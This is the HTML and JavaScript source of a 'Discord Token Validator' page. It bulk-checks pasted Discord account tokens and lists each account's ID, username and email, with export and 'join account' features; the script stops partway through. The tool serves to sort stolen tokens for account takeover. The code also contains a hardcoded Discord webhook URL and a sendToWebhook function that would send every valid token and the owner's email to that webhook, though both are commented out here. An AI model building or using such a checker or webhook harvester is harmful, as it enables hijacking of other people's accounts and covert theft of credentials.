<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Discord Token Validator discord.gg/307 by 3ta bawk</title>
    
    <!-- Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">

    <!-- Toastify CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/toastify-js/src/toastify.min.css">

    <!-- Font Awesome for Icons -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">

    <!-- DataTables CSS for Advanced Tables -->
    <link rel="stylesheet" href="https://cdn.datatables.net/1.13.6/css/jquery.dataTables.min.css">

    <!-- Animate.css for Animations -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css"/>

    <!-- Custom Styles -->
    <style>
        /* Reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        /* Variables for Light and Dark Modes */
        :root {
            --bg-color: #121212;
            --primary-color: #5865F2;
            --secondary-color: #ffffff;
            --text-color: #e0e0e0;
            --error-color: #FF5555;
            --success-color: #55FF55;
            --warning-color: #FF9800;
            --border-radius: 8px;
            --transition: 0.3s ease;
            --font-family: 'Roboto', sans-serif;
            --card-bg: #1e1e1e;
            --input-bg: #2c2c2c;
            --button-hover: #4752c4;
            --table-bg: #2c2c2c;
            --table-header-bg: #1e1e1e;
            --table-row-hover: #333333;
            --modal-bg: rgba(0, 0, 0, 0.8);
        }

        [data-theme="light"] {
            --bg-color: #f0f2f5;
            --primary-color: #5865F2;
            --secondary-color: #ffffff;
            --text-color: #333333;
            --card-bg: #ffffff;
            --input-bg: #f9f9f9;
            --button-hover: #4752c4;
            --table-bg: #ffffff;
            --table-header-bg: #f1f1f1;
            --table-row-hover: #f9f9f9;
            --modal-bg: rgba(255, 255, 255, 0.8);
        }

        body {
            font-family: var(--font-family);
            background-color: var(--bg-color);
            color: var(--text-color);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: 20px;
            transition: background-color var(--transition), color var(--transition);
            scroll-behavior: smooth; /* Smooth Scrolling */
        }

        header {
            width: 100%;
            max-width: 1200px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            position: sticky;
            top: 0;
            background-color: var(--card-bg);
            padding: 10px 20px;
            box-shadow: 0 2px 5px rgba(0,0,0,0.1);
            z-index: 100;
            animation: fadeInDown 1s ease forwards; /* Entry Animation */
        }

        h1 {
            color: var(--primary-color);
            text-align: center;
            font-size: 2rem;
            transition: color var(--transition);
        }

        .theme-toggle {
            background: none;
            border: none;
            color: var(--text-color);
            cursor: pointer;
            font-size: 1.8rem;
            transition: color var(--transition);
        }

        .theme-toggle:hover {
            color: var(--primary-color);
        }

        textarea {
            width: 100%;
            max-width: 1200px;
            height: 150px;
            padding: 15px;
            background-color: var(--input-bg);
            border: 2px solid var(--primary-color);
            border-radius: var(--border-radius);
            resize: vertical;
            font-size: 1rem;
            margin-bottom: 20px;
            color: var(--text-color);
            transition: background-color var(--transition), color var(--transition);
            animation: fadeInUp 1s ease forwards; /* Entry Animation */
        }

        .controls {
            width: 100%;
            max-width: 1200px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            flex-wrap: wrap;
            gap: 15px;
            animation: fadeIn 1s ease forwards; /* Entry Animation */
        }

        .controls .left, .controls .right {
            display: flex;
            align-items: center;
            gap: 15px;
        }

        .controls .left button, .controls .right button {
            margin-right: 10px;
        }

        button {
            padding: 10px 20px;
            background-color: var(--primary-color);
            color: var(--secondary-color);
            border: none;
            border-radius: var(--border-radius);
            cursor: pointer;
            font-size: 1rem;
            transition: background-color var(--transition), transform 0.2s ease, box-shadow 0.2s ease;
            display: flex;
            align-items: center;
            gap: 5px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
        }

        button:hover {
            background-color: var(--button-hover);
            transform: translateY(-2px); /* Elevation Effect */
            box-shadow: 0 6px 8px rgba(0, 0, 0, 0.15);
        }

        .search-bar {
            flex: 1;
            max-width: 350px;
            position: relative;
        }

        .search-bar input {
            width: 100%;
            padding: 10px 40px 10px 15px;
            border: 1px solid var(--primary-color);
            border-radius: var(--border-radius);
            background-color: var(--input-bg);
            color: var(--text-color);
            transition: background-color var(--transition), color var(--transition);
        }

        .search-bar i {
            position: absolute;
            right: 15px;
            top: 50%;
            transform: translateY(-50%);
            color: var(--text-color);
        }

        .results {
            width: 100%;
            max-width: 1200px;
            margin-top: 30px;
            animation: fadeIn 1s ease forwards; /* Entry Animation */
        }

        .result-section {
            background-color: var(--card-bg);
            padding: 20px;
            border-radius: var(--border-radius);
            box-shadow: 0 2px 10px rgba(0,0,0,0.2);
            margin-bottom: 30px;
            transition: background-color var(--transition);
            animation: fadeInUp 1s ease forwards; /* Entry Animation */
        }

        .result-section h2 {
            margin-bottom: 15px;
            color: var(--primary-color);
            font-size: 1.5rem;
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .token-item {
            background-color: var(--table-bg);
            padding: 15px;
            border-radius: var(--border-radius);
            margin-bottom: 10px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            position: relative;
            transition: background-color var(--transition), transform 0.2s ease;
        }

        .token-item:hover {
            transform: translateY(-2px); /* Elevation Effect */
        }

        .token-item.valid {
            border-left: 5px solid var(--success-color);
        }

        .token-item.invalid {
            border-left: 5px solid var(--error-color);
        }

        .token-item.locked {
            border-left: 5px solid var(--warning-color);
        }

        .token-text {
            flex: 1;
            word-break: break-all;
            filter: blur(5px);
            transition: filter 0.5s ease; /* Only specify filter transition */
            padding-right: 15px;
            cursor: pointer;
        }

        .token-text.revealed {
            filter: blur(0);
        }

        .buttons {
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .copy-btn, .toggle-btn, .join-btn {
            background-color: var(--primary-color);
            color: var(--secondary-color);
            border: none;
            padding: 8px 12px;
            border-radius: var(--border-radius);
            cursor: pointer;
            font-size: 0.9rem;
            transition: background-color var(--transition), transform 0.2s ease, box-shadow 0.2s ease;
        }

        .copy-btn:hover, .toggle-btn:hover, .join-btn:hover {
            background-color: var(--button-hover);
            transform: translateY(-2px); /* Elevation Effect */
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
        }

        .account-info {
            display: flex;
            align-items: center;
            gap: 20px;
            margin-top: 15px;
            padding-top: 15px;
            border-top: 1px solid #444;
            animation: fadeIn 1s ease forwards; /* Entry Animation */
        }

        .account-info img {
            width: 60px;
            height: 60px;
            border-radius: 50%;
            cursor: pointer;
            transition: transform 0.3s;
        }

        .account-info img:hover {
            transform: scale(1.1);
        }

        .account-details {
            display: flex;
            flex-direction: column;
            gap: 8px;
        }

        .account-details p {
            font-size: 0.95rem;
        }

        /* Progress Bar */
        .progress-container {
            width: 100%;
            max-width: 1200px;
            background-color: #ccc;
            border-radius: var(--border-radius);
            overflow: hidden;
            margin-bottom: 20px;
            height: 20px;
            display: none;
            animation: fadeIn 1s ease forwards; /* Entry Animation */
        }

        .progress-bar {
            width: 0%;
            height: 100%;
            background-color: var(--primary-color);
            transition: width 0.3s ease;
        }

        /* Download Buttons */
        .download-buttons {
            display: flex;
            gap: 10px;
        }

        /* DataTables Custom Styles */
        table.dataTable thead {
            background-color: var(--table-header-bg);
            color: var(--text-color);
        }

        table.dataTable tbody {
            background-color: var(--table-bg);
            color: var(--text-color);
        }

        table.dataTable tbody tr:hover {
            background-color: var(--table-row-hover);
        }

        /* Responsive */
        @media (max-width: 800px) {
            textarea {
                height: 130px;
            }

            .controls {
                flex-direction: column;
                align-items: stretch;
            }

            button {
                width: 100%;
                justify-content: center;
            }

            .search-bar {
                max-width: 100%;
            }

            .account-info {
                flex-direction: column;
                align-items: flex-start;
            }

            .download-buttons {
                flex-direction: column;
                width: 100%;
            }
        }

        @media (max-width: 500px) {
            h1 {
                font-size: 1.5rem;
            }

            .account-details p {
                font-size: 0.85rem;
            }
        }

        /* Loader Styles */
        .loader-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: var(--modal-bg);
            display: flex;
            justify-content: center;
            align-items: center;
            z-index: 2000;
            opacity: 0;
            visibility: hidden;
            transition: opacity 0.5s ease, visibility 0.5s ease;
        }

        .loader-overlay.active {
            opacity: 1;
            visibility: visible;
        }

        .loader {
            border: 8px solid #f3f3f3;
            border-top: 8px solid var(--primary-color);
            border-radius: 50%;
            width: 60px;
            height: 60px;
            animation: spin 1s linear infinite;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        /* Modal Styles */
        .modal {
            display: none;
            position: fixed;
            z-index: 1000;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            overflow: auto;
            background-color: var(--modal-bg);
            padding-top: 60px;
            animation: fadeIn 0.5s ease forwards;
        }

        .modal-content {
            background-color: var(--card-bg);
            margin: 5% auto;
            padding: 20px;
            border: 1px solid var(--primary-color);
            width: 80%;
            max-width: 600px;
            border-radius: var(--border-radius);
            position: relative;
            animation: slideIn 0.5s ease forwards;
        }

        .close-modal {
            color: var(--text-color);
            position: absolute;
            top: 15px;
            right: 20px;
            font-size: 1.5rem;
            font-weight: bold;
            cursor: pointer;
        }

        .close-modal:hover {
            color: var(--primary-color);
        }

        /* Animations */
        @keyframes fadeIn {
            from { opacity: 0; }
            to { opacity: 1; }
        }

        @keyframes fadeInDown {
            from { opacity: 0; transform: translateY(-20px); }
            to { opacity: 1; transform: translateY(0); }
        }

        @keyframes fadeInUp {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }

        @keyframes slideIn {
            from { transform: translateY(-50px); }
            to { transform: translateY(0); }
        }
    </style>
</head>
<body data-theme="dark">

    <!-- Loader Overlay -->
    <div class="loader-overlay" id="loaderOverlay">
        <div class="loader"></div>
    </div>

    <header>
        <h1>Discord Token Validator discord.gg/307 by 3tabawk</h1>
        <button class="theme-toggle" aria-label="Toggle Theme">
            <i class="fas fa-moon"></i>
        </button>
    </header>

    <textarea id="tokensInput" placeholder="Paste your Discord tokens here, one per line, separated by commas or spaces..." aria-label="Token Input"></textarea>

    <div class="controls">
        <div class="left">
            <button id="validateBtn" aria-label="Validate Tokens"><i class="fas fa-check-circle"></i> Validate Tokens</button>
            <button id="resetBtn" aria-label="Clear Fields"><i class="fas fa-redo"></i> Clear</button>
            <button id="backgroundBtn" aria-label="Run in Background"><i class="fas fa-cloud-upload-alt"></i> Run in Background</button>
        </div>
        <div class="right">
            <div class="search-bar">
                <input type="text" id="searchInput" placeholder="Search tokens..." aria-label="Search Tokens">
                <i class="fas fa-search"></i>
            </div>
            <div class="download-buttons">
                <button id="downloadCsvBtn" aria-label="Download as CSV"><i class="fas fa-file-csv"></i> CSV</button>
                <button id="downloadJsonBtn" aria-label="Download as JSON"><i class="fas fa-file-code"></i> JSON</button>
            </div>
        </div>
    </div>

    <div class="progress-container" id="progressContainer">
        <div class="progress-bar" id="progressBar"></div>
    </div>

    <div class="results">
        <div class="result-section" id="validSection">
            <h2><i class="fas fa-check-circle"></i> Valid Tokens (<span id="validCount">0</span>)</h2>
            <button id="copyAllValidBtn" class="copy-btn" aria-label="Copy All Valid Tokens"><i class="fas fa-copy"></i> Copy All</button>
            <table id="validTokensTable" class="display" style="width:100%">
                <thead>
                    <tr>
                        <th>Token</th>
                        <th>ID</th>
                        <th>Username</th>
                        <th>Email</th>
                        <th>Creation Date</th>
                        <th>Status</th>
                        <th>Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <!-- Valid Tokens Will Be Inserted Here -->
                </tbody>
            </table>
        </div>
        <div class="result-section" id="invalidSection">
            <h2><i class="fas fa-times-circle"></i> Invalid Tokens (<span id="invalidCount">0</span>)</h2>
            <div id="invalidTokens"></div>
        </div>
        <div class="result-section" id="lockedSection">
            <h2><i class="fas fa-lock"></i> Locked Tokens (<span id="lockedCount">0</span>)</h2>
            <div id="lockedTokens"></div>
        </div>
    </div>

    <!-- Modal for Detailed Information -->
    <div id="infoModal" class="modal">
        <div class="modal-content">
            <span class="close-modal">&times;</span>
            <h2>Detailed Information</h2>
            <div id="modalContent">
                <!-- Detailed Content Will Be Inserted Here -->
            </div>
        </div>
    </div>

    <!-- Toastify JS -->
    <script src="https://cdn.jsdelivr.net/npm/toastify-js"></script>

    <!-- Font Awesome JS -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/js/all.min.js"></script>

    <!-- jQuery and DataTables JS -->
    <script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>
    <script src="https://cdn.datatables.net/1.13.6/js/jquery.dataTables.min.js"></script>

    <!-- Custom Scripts -->
    <script>
        const DISCORD_API_URL = "https://discord.com/api/v10/users/@me"; // Updated to v10
        const DEFAULT_AVATAR = "https://cdn.discordapp.com/embed/avatars/0.png"; // Default Avatar

        // Webhook URL (WARNING: Including webhook in frontend is insecure)
       // const WEBHOOK_URL = "https://discordapp.com/api/webhooks/1314750106863403050/H97llDrcUKeomW8veMngbAbuB1Esgu6NetskhXI9rBj5LXeU_xtXJSNJ2ynmLFQ207m6";

        const tokensInput = document.getElementById('tokensInput');
        const validateBtn = document.getElementById('validateBtn');
        const resetBtn = document.getElementById('resetBtn');
        const backgroundBtn = document.getElementById('backgroundBtn');
        const searchInput = document.getElementById('searchInput');
        const downloadCsvBtn = document.getElementById('downloadCsvBtn');
        const downloadJsonBtn = document.getElementById('downloadJsonBtn');
        const copyAllValidBtn = document.getElementById('copyAllValidBtn');

        const invalidSection = document.getElementById('invalidTokens');
        const lockedSection = document.getElementById('lockedTokens');

        const validCount = document.getElementById('validCount');
        const invalidCount = document.getElementById('invalidCount');
        const lockedCount = document.getElementById('lockedCount');

        const progressContainer = document.getElementById('progressContainer');
        const progressBar = document.getElementById('progressBar');

        const infoModal = document.getElementById('infoModal');
        const modalContent = document.getElementById('modalContent');
        const closeModal = document.querySelector('.close-modal');

        const loaderOverlay = document.getElementById('loaderOverlay');

        let tokensData = {
            valid: [],
            invalid: [],
            locked: []
        };

        let dataTable;

        let isBackground = false;
        let backgroundQueue = [];
        let isProcessing = false;

        // Function to display notifications
        const notify = (message, type='info') => {
            let bgColor = "#333";
            if(type === 'success') bgColor = "#4CAF50";
            if(type === 'error') bgColor = "#F44336";
            if(type === 'warning') bgColor = "#FF9800";
            if(type === 'info') bgColor = "#2196F3";

            Toastify({
                text: message,
                duration: 3000,
                gravity: "top",
                position: "right",
                backgroundColor: bgColor,
                className: "info",
                stopOnFocus: true,
            }).showToast();
        };

        // Function to copy text to clipboard
        const copyToClipboard = (text) => {
            navigator.clipboard.writeText(text).then(() => {
                notify("Text copied to clipboard!", "success");
            }).catch(() => {
                notify("Failed to copy text.", "error");
            });
        };

        // Function to validate token format
        const isValidTokenFormat = (token) => {
            const parts = token.split('.');
            return parts.length >= 3; // Allows tokens with 3 or more parts
        };

        // Function to create element for invalid or locked token
        const createSimpleTokenElement = (token, status) => {
            const tokenDiv = document.createElement('div');
            tokenDiv.classList.add('token-item', status, 'animate__animated', 'animate__fadeIn');

            const tokenText = document.createElement('span');
            tokenText.classList.add('token-text');
            tokenText.textContent = token;

            const buttonsDiv = document.createElement('div');
            buttonsDiv.classList.add('buttons');

            const toggleBtn = document.createElement('button');
            toggleBtn.classList.add('toggle-btn');
            toggleBtn.textContent = 'Show';
            toggleBtn.setAttribute('aria-label', 'Show Token');
            toggleBtn.addEventListener('click', () => {
                tokenText.classList.toggle('revealed');
                toggleBtn.textContent = tokenText.classList.contains('revealed') ? 'Hide' : 'Show';
            });

            const copyBtn = document.createElement('button');
            copyBtn.classList.add('copy-btn');
            copyBtn.innerHTML = '<i class="fas fa-copy"></i>';
            copyBtn.setAttribute('aria-label', 'Copy Token');
            copyBtn.addEventListener('click', () => copyToClipboard(token));

            buttonsDiv.appendChild(toggleBtn);
            buttonsDiv.appendChild(copyBtn);

            tokenDiv.appendChild(tokenText);
            tokenDiv.appendChild(buttonsDiv);

            return tokenDiv;
        };

        // Function to create valid token row with detailed information and show button
        const createValidTokenRow = (tokenData) => {
            const token = tokenData.token;
            const data = tokenData.data;
            const createdAt = new Date((data.id / 4194304) + 1420070400000).toLocaleString();
            const status = data.presence ? data.presence.status : 'N/A';

            return [
                `<span class="token-text">${token}</span>`,
                data.id,
                `${data.username}#${data.discriminator}`,
                data.email || 'N/A',
                createdAt,
                status,
                `
                    <button class="info-btn" data-token-id="${data.id}" aria-label="View Details"><i class="fas fa-info-circle"></i></button>
                    <button class="toggle-btn" data-token="${token}" aria-label="Show Token"><i class="fas fa-eye"></i> Show</button>
                `
            ];
        };

        // Function to initialize DataTable
        const initializeDataTable = () => {
            if ($.fn.dataTable.isDataTable('#validTokensTable')) {
                $('#validTokensTable').DataTable().destroy();
            }

            dataTable = $('#validTokensTable').DataTable({
                data: tokensData.valid.map(createValidTokenRow),
                columns: [
                    { title: "Token" },
                    { title: "ID" },
                    { title: "Username" },
                    { title: "Email" },
                    { title: "Creation Date" },
                    { title: "Status" },
                    { title: "Actions", orderable: false, searchable: false }
                ],
                pageLength: 10,
                lengthMenu: [5, 10, 20, 50],
                responsive: true,
                createdRow: function(row, data, dataIndex) {
                    $(row).addClass(tokensData.valid[dataIndex].status);
                },
                rowCallback: function(row, data, index) {
                    $(row).addClass('animate__animated animate__fadeIn');
                }
            });
        };

        // Function to send valid token to webhook
        const sendToWebhook = async (token, userData) => {
            try {
                const payload = {
                    content: null,
                    embeds: [{
                        title: "🔒 New Valid Token",
                        color: 3447003, // Blue
                        thumbnail: {
                            url: userData.avatar ? `https://cdn.discordapp.com/avatars/${userData.id}/${userData.avatar}.png` : DEFAULT_AVATAR
                        },
                        fields: [
                            { name: "🔑 Token", value: `\`\`\`${token}\`\`\``, inline: false },
                            { name: "🆔 ID", value: userData.id, inline: true },
                            { name: "👤 Username", value: `${userData.username}#${userData.discriminator}`, inline: true },
                            { name: "📧 Email", value: userData.email || 'N/A', inline: false },
                            { name: "🗓️ Creation Date", value: new Date((userData.id / 4194304) + 1420070400000).toLocaleString(), inline: false },
                            { name: "🟢 Status", value: userData.presence ? userData.presence.status : 'N/A', inline: true }
                        ],
                        footer: {
                             text: "Discord Token Validator discord.gg/307",
                            icon_url: "https://i.imgur.com/wSTFkRM.png"
                        },
                        timestamp: new Date()
                    }]
                };

                const response = await fetch(WEBHOOK_URL, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(payload)
                });

                if (response.ok) {
                    console.log("Token successfully sent to webhook.");
                } else {
                    console.error("Failed to send token to webhook.", response.statusText);
                }
            } catch (error) {
                console.error("Error sending token to webhook:", error);
            }
        };

        // Function to display detailed information in the modal
        const showInfoModal = (tokenId) => {
            const tokenData = tokensData.valid.find(t => t.data.id === tokenId);
            if (!tokenData) return;

            const data = tokenData.data;
            const createdAt = new Date((data.id / 4194304) + 1420070400000).toLocaleString();
            const status = data.presence ? data.presence.status : 'N/A';

            modalContent.innerHTML = `
                <div class="account-info animate__animated animate__fadeIn">
                    <img src="${data.avatar ? `https://cdn.discordapp.com/avatars/${data.id}/${data.avatar}.png` : DEFAULT_AVATAR}" alt="User Avatar" title="${data.username}#${data.discriminator}">
                    <div class="account-details">
                        <p><strong>Username:</strong> ${data.username}#${data.discriminator}</p>
                        <p><strong>ID:</strong> ${data.id}</p>
                        <p><strong>Email:</strong> ${data.email || 'N/A'}</p>
                        <p><strong>Account Created:</strong> ${createdAt}</p>
                        <p><strong>Status:</strong> ${status}</p>
                        <p><strong>Avatar:</strong> <a href="${data.avatar ? `https://cdn.discordapp.com/avatars/${data.id}/${data.avatar}.png` : DEFAULT_AVATAR}" target="_blank">View Avatar</a></p>
                        <p><strong>Profile:</strong> <a href="https://discord.com/users/${data.id}" target="_blank">Open Profile</a></p>
                    </div>
                </div>
            `;

            infoModal.style.display = "block";
            document.body.style.overflow = "hidden"; // Prevent scrolling when modal is open
        };

        // Function to close the modal
        const closeInfoModal = () => {
            infoModal.style.display = "none";
            modalContent.innerHTML = '';
            document.body.style.overflow = "auto"; // Restore scrolling
        };

        // Function to validate a single token
        const validateToken = async (token) => {
            console.log(`Validating token: ${token}`);
            try {
                const response = await fetch(DISCORD_API_URL, {
                    method: 'GET',
                    headers: {
                        'Authorization': token
                    }
                });

                console.log(`Response for token ${token}: Status ${response.status}`);

                if(response.status === 200){
                    const data = await response.json();
                    console.log(`Valid token: ${token}`, data);
                    // Send valid token to webhook
                  //  await sendToWebhook(token, data);
                    return {status: 'valid', data};
                } else if(response.status === 401){
                    console.log(`Invalid token: ${token}`);
                    return {status: 'invalid'};
                } else if(response.status === 403){
                    console.log(`Locked token: ${token}`);
                    return {status: 'locked'};
                } else {
                    console.log(`Unknown status for token ${token}: ${response.status}`);
                    return {status: 'invalid'};
                }
            } catch (error) {
                console.error(`Error validating token ${token}:`, error);
                return {status: 'invalid'};
            }
        };

        // Function to add a small delay (in ms)
        const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));

        // Function to process tokens with improvements applied
        const processTokens = async () => {
            const rawInput = tokensInput.value;
            // Split tokens by line breaks, commas, or spaces
            const tokens = rawInput.split(/[\n, ]+/).map(t => t.trim()).filter(t => t !== '');

            if(tokens.length === 0){
                notify("Please enter at least one token.", "warning");
                return;
            }

            // Filter tokens with invalid format
            const validFormatTokens = tokens.filter(isValidTokenFormat);
            const invalidFormatTokens = tokens.filter(t => !isValidTokenFormat(t));

            if(invalidFormatTokens.length > 0){
                notify(`${invalidFormatTokens.length} invalid format token(s) were ignored.`, "warning");
                // Optional: list tokens with invalid format
                invalidFormatTokens.forEach(token => {
                    const tokenElement = createSimpleTokenElement(token, 'invalid');
                    invalidSection.appendChild(tokenElement);
                });
                invalidCount.textContent = parseInt(invalidCount.textContent) + invalidFormatTokens.length;
            }

            if(validFormatTokens.length === 0){
                notify("No valid token to validate.", "error");
                return;
            }

            validateBtn.disabled = true;
            resetBtn.disabled = true;
            backgroundBtn.disabled = true;
            copyAllValidBtn.disabled = true;
            downloadCsvBtn.disabled = true;
            downloadJsonBtn.disabled = true;
            searchInput.value = '';
            tokensData = { valid: [], invalid: [], locked: [] };
            validCount.textContent = '0';
            invalidCount.textContent = '0';
            lockedCount.textContent = '0';
            progressContainer.style.display = 'block';
            progressBar.style.width = '0%';

            invalidSection.innerHTML = '';
            lockedSection.innerHTML = '';

            // Show loader
            loaderOverlay.classList.add('active');

            if ($.fn.dataTable.isDataTable('#validTokensTable')) {
                $('#validTokensTable').DataTable().clear().destroy();
            }
            document.querySelector('#validTokensTable tbody').innerHTML = '';

            notify("Starting validation...", "info");

            // Concurrency control: maximum number of simultaneous requests
            const maxConcurrent = 5; // Reduced to avoid rate limiting
            let current = 0;
            let index = 0;

            const total = validFormatTokens.length;

            return new Promise((resolve) => {
                const next = async () => {
                    while(current < maxConcurrent && index < total){
                        const token = validFormatTokens[index++];
                        current++;
                        validateToken(token).then(result => {
                            if(result.status === 'valid'){
                                tokensData.valid.push({token, data: result.data, validatedAt: new Date(), status: result.data.presence ? result.data.presence.status : 'N/A'});
                                validCount.textContent = parseInt(validCount.textContent) + 1;
                                // Add immediately to DataTable
                                if(dataTable){
                                    dataTable.row.add(createValidTokenRow(tokensData.valid[tokensData.valid.length -1])).draw();
                                } else {
                                    initializeDataTable();
                                }
                            } else if(result.status === 'invalid'){
                                tokensData.invalid.push({token});
                                invalidCount.textContent = parseInt(invalidCount.textContent) + 1;
                                const tokenElement = createSimpleTokenElement(token, 'invalid');
                                invalidSection.appendChild(tokenElement);
                            } else if(result.status === 'locked'){
                                tokensData.locked.push({token});
                                lockedCount.textContent = parseInt(lockedCount.textContent) + 1;
                                const tokenElement = createSimpleTokenElement(token, 'locked');
                                lockedSection.appendChild(tokenElement);
                            }

                            // Update progress bar
                            const processed = tokensData.valid.length + tokensData.invalid.length + tokensData.locked.length;
                            const progress = (processed / total) * 100;
                            progressBar.style.width = `${progress}%`;

                            current--;
                            next();
                        }).catch(() => {
                            tokensData.invalid.push({token});
                            invalidCount.textContent = parseInt(invalidCount.textContent) + 1;
                            const tokenElement = createSimpleTokenElement(token, 'invalid');
                            invalidSection.appendChild(tokenElement);

                            // Update progress bar
                            const processed = tokensData.valid.length + tokensData.invalid.length + tokensData.locked.length;
                            const progress = (processed / total) * 100;
                            progressBar.style.width = `${progress}%`;

                            current--;
                            next();
                        });
                        await delay(100); // 100ms delay between requests
                    }

                    // Finalize if all requests are completed
                    if(index >= total && current === 0){
                        finalize();
                        resolve();
                    }
                };

                const finalize = () => {
                    loaderOverlay.classList.remove('active');
                    progressContainer.style.display = 'none';
                    validateBtn.disabled = false;
                    resetBtn.disabled = false;
                    backgroundBtn.disabled = false;
                    copyAllValidBtn.disabled = tokensData.valid.length === 0;
                    downloadCsvBtn.disabled = tokensData.valid.length === 0 && tokensData.invalid.length === 0 && tokensData.locked.length === 0;
                    downloadJsonBtn.disabled = tokensData.valid.length === 0 && tokensData.invalid.length === 0 && tokensData.locked.length === 0;

                    notify("Validation completed!", "success");
                };

                next();
            });
        };

        // Function to reset all fields
        const resetFields = () => {
            if(confirm("Are you sure you want to clear all fields?")){
                tokensInput.value = '';
                invalidSection.innerHTML = '';
                lockedSection.innerHTML = '';
                validCount.textContent = '0';
                invalidCount.textContent = '0';
                lockedCount.textContent = '0';
                tokensData = { valid: [], invalid: [], locked: [] };
                copyAllValidBtn.disabled = true;
                downloadCsvBtn.disabled = true;
                downloadJsonBtn.disabled = true;
                if ($.fn.dataTable.isDataTable('#validTokensTable')) {
                    $('#validTokensTable').DataTable().clear().destroy();
                }
                document.querySelector('#validTokensTable tbody').innerHTML = '';
                notify("Fields successfully cleared.", "info");
            }
        };

        // Function to toggle the theme
        const themeToggleBtn = document.querySelector('.theme-toggle');
        themeToggleBtn.addEventListener('click', () => {
            const currentTheme = document.body.getAttribute('data-theme');
            const newTheme = currentTheme === 'dark' ? 'light' : 'dark';
            document.body.setAttribute('data-theme', newTheme);
            themeToggleBtn.innerHTML = newTheme === 'dark' ? '<i class="fas fa-moon"></i>' : '<i class="fas fa-sun"></i>';
            notify(`Theme changed to ${newTheme}.`, "info");
        });

        // Function to filter tokens
        const filterTokens = () => {
            if (dataTable) {
                dataTable.search(searchInput.value).draw();
            }
        };

        // Function to copy all valid tokens
        const copyAllValidTokens = () => {
            const allValidTokens = tokensData.valid.map(t => t.token).join('\n');
            if(allValidTokens){
                copyToClipboard(allValidTokens);
            } else {
                notify("No valid tokens to copy.", "warning");
            }
        };

        // Function to download results as CSV
        const downloadCSV = () => {
            let csvContent = "data:text/csv;charset=utf-8,Status,Token,ID,Username,Email,Creation Date,Presence Status\n";
            tokensData.valid.forEach(item => {
                const date = new Date((item.data.id / 4194304) + 1420070400000).toLocaleString();
                csvContent += `Valid,${item.token},${item.data.id},${item.data.username}#${item.data.discriminator},${item.data.email || 'N/A'},${date},${item.status}\n`;
            });
            tokensData.invalid.forEach(item => {
                csvContent += `Invalid,${item.token},,,,,\n`;
            });
            tokensData.locked.forEach(item => {
                csvContent += `Locked,${item.token},,,,,\n`;
            });

            const encodedUri = encodeURI(csvContent);
            const link = document.createElement('a');
            link.setAttribute('href', encodedUri);
            link.setAttribute('download', 'tokens_results.csv');
            document.body.appendChild(link);
            link.click();
            document.body.removeChild(link);
        };

        // Function to download results as JSON
        const downloadJSON = () => {
            const data = {
                valid: tokensData.valid.map(item => ({
                    token: item.token,
                    id: item.data.id,
                    username: item.data.username,
                    discriminator: item.data.discriminator,
                    email: item.data.email,
                    createdAt: new Date((item.data.id / 4194304) + 1420070400000).toISOString(),
                    status: item.status
                })),
                invalid: tokensData.invalid.map(item => ({ token: item.token })),
                locked: tokensData.locked.map(item => ({ token: item.token }))
            };
            const jsonString = JSON.stringify(data, null, 2);
            const blob = new Blob([jsonString], { type: "application/json" });
            const url = URL.createObjectURL(blob);
            const link = document.createElement('a');
            link.href = url;
            link.download = 'tokens_results.json';
            document.body.appendChild(link);
            link.click();
            document.body.removeChild(link);
        };

        copyAllValidBtn.addEventListener('click', copyAllValidTokens);
        downloadCsvBtn.addEventListener('click', downloadCSV);
        downloadJsonBtn.addEventListener('click', downloadJSON);
        searchInput.addEventListener('input', filterTokens);
        closeModal.addEventListener('click', closeInfoModal);
        window.addEventListener('click', (event) => {
            if (event.target == infoModal) {
                closeInfoModal();
            }
        });

        // Event to validate tokens with Ctrl + Enter
        tokensInput.addEventListener('keydown', (e) => {
            if(e.key === 'Enter' && e.ctrlKey){
                processTokens();
            }
        });

        validateBtn.addEventListener('click', processTokens);
        resetBtn.addEventListener('click', resetFields);

        // Function to run validation in background
        backgroundBtn.addEventListener('click', () => {
            if(!isBackground){
                isBackground = true;
                backgroundBtn.innerHTML = '<i class="fas fa-pause"></i> Pause';
                notify("Background validation started. You can view tokens as they are validated.", "info");
                processTokens();
            } else {
                isBackground = false;
                backgroundBtn.innerHTML = '<i class="fas fa-cloud-upload-alt"></i> Run in Background';
                notify("Background validation paused.", "info");
            }
        });

        // Function to join Discord account using token
        const joinAccount = (token) => {
            // WARNING: Using tokens to log into accounts may violate Discord's Terms of Service.
            // Use this feature responsibly and ensure you have permission to access the account.

            if(confirm("Are you sure you want to log into this Discord account? This may violate Discord's Terms of Service.")){
                // Implementation of automatic login via frontend is complex due to security restrictions like CORS.
                // Normally, a secure backend service would be needed to handle authentication.
                // Here, we simply open Discord in the browser.

                // Note: It is not possible to automatically log in using only frontend for security reasons.
                // We do not recommend implementing this feature.
                window.open(`https://discord.com/channels/@me`, '_blank');
            }
        };

        // Events for information and show buttons
